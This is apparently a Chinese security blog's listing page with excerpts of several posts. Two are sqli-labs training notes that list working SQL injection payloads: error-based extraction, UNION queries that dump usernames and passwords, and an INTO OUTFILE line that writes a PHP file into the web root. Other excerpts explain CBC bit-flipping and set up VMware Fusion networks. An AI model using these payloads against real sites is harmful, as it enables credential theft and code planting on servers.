SQL注入之旅 : Sqli Labs Part 2 - GET二次注入

作者: 分类: Sql-Injection 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第5,6个实验,二次注入(Double Query Injection),页面不回显,但是会报错。可以看下老外(口音很操蛋就是了)的视频,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT RAND();
SELECT RAND()*2;
SELECT FLOOR(RAND()*2);
SELECT DATABASE();
SELECT CONCAT((SELECT DATABASE()));
SELECT CONCAT((SELECT DATABASE()),0x3a);
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2));
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT FLOOR(RAND(0)*2);
SELECT COUNT(*),FLOOR(RAND(0)*2) FROM users;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT VERSION()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a;

阅读全文»

SQL注入之旅 : Sqli Labs Part 1 - GET报错注入

作者: 分类: Sql-Injection,Security 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

抛弃“简单的跑工具,跑不出来就放弃“的局面,开始潜下心来好好理一理SQL注入。每篇文章可能包含了sqli-labs里面的几个实验。

0x02 使用到的语句

# 查看该表有几个字段
' ORDER BY 3 --+
" ORDER BY 3 --+
') ORDER BY 3 --+

# 找到有漏洞的字段
AND 1=2 UNION SELECT 1,2,3 --+

# 联合查询
AND 1=2 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
AND 1=2 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+ (数据库十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+ (表的十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(username,char(32),password),3 from users --+ 

# 读写文件
AND 1=2 UNION SELECT 1,2,"<?php phpinfo();?>" into outfile "C:/Apache2.2/htdocs/sqli/Less-1/info.php" --+
AND 1=2 UNION SELECT 1,2,load_file("C:/Apache2.2/htdocs/sqli/Less-1/info.php") --+

阅读全文»

CBC字节反转攻击

作者: 分类: Security,Programming 时间: 2017-03-26 评论: 暂无评论

CBC加解密原理

原理

先来看下CBC(AES为例)是如何工作的:

加密流程如下:

cbc_encrypt.png

  1. 首先将明文分组(常见的以16字节为一组),位数不足的使用特殊字符填充。
  2. 生成一个随机的初始化向量(IV)和一个密钥。
  3. 将IV和第一组明文异或。
  4. 用密钥对3中xor后产生的密文加密。
  5. 用4中产生的密文对第二组明文进行xor操作。
  6. 用密钥对5中产生的密文加密。
  7. 重复4-7,到最后一组明文。
  8. 将IV和加密后的密文拼接在一起,得到最终的密文。

加密公式:

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
Ciphertext-N = Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

阅读全文»

VMware Fusion 设置VMnets

作者: 分类: 默认分类 时间: 2017-03-14 评论: 暂无评论

macOS Sierra 10.12.2
VMware Fusion 专业版 8.5.2 (4635224)

下个月就是铁三的企业赛了,也拿到了企业赛的样题,给了三个虚拟机,拓扑如下:

t3sec.png

三个虚拟机需要配置VMnet2VMnet3以模拟外网的Web服务器和内网的AD服务器。如果在Windows上的VMware Workstation,直接虚拟机网络编辑器里新建一下就可以了,但是在macOS上使用的VMware Fusion却没有相应的功能。这个问题让我折腾了一晚上。

此处以新建Host OnlyVMnet2为例,步骤如下:

  1. 进到/Library/Preferences/VMware Fusion目录下,有如下文件:

     -r--r--r--  1 root  wheel   31  3 14 16:28 lastLocationUsed
     -rw-r--r--  1 root  wheel  547  8  7  2016 license-fusion-80-e3-201505
     -rw-r--r--  1 root  wheel  774  3 14 16:28 networking
     -rw-r--r--  1 root  wheel  774  3 14 16:26 networking.bak.0
     drwxr-xr-x  4 root  wheel  136  8 13  2016 vmnet1
     drwxr-xr-x  7 root  wheel  238 12 12 19:05 vmnet8
    
  2. 复制vmnet1文件夹到vmnet2

     sudo cp -R vmnet1 vmnet2
     
    

阅读全文»